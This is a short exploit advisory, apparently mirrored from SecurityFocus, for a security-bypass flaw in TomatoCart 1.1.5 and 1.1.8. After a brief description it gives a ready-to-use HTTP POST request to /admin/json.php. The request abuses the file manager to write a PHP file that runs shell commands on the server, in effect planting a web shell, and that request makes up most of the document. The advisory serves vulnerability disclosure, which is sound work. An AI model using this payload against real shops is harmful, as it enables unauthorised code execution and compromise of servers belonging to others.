TomatoCart - 'json.php' Security Bypass

source: https://www.securityfocus.com/bid/57156/info

TomatoCart is prone to a security-bypass vulnerability.

An attacker can exploit this issue to bypass certain security restrictions and create files with arbitrary shell script which may aid in further attacks.

TomatoCart versions 1.1.5 and 1.1.8 are vulnerable. 

POST /admin/json.php HTTP/1.1
Host: localhost
Cookie: admin_language=en_US; toCAdminID=edfd1d6b88d0c853c2b83cc63aca5e14
Content-Type: application/x-www-form-urlencoded
Content-Length: 195

module=file_manager&action=save_file&file_name=0wned.php&directory=/&token=edfd1d6b88d0c853c2b83cc63aca5e14&ext-comp-1277=0wned.php&content=<?+echo '<h1>0wned!</h1><pre>';+echo `ls+-al`; ?>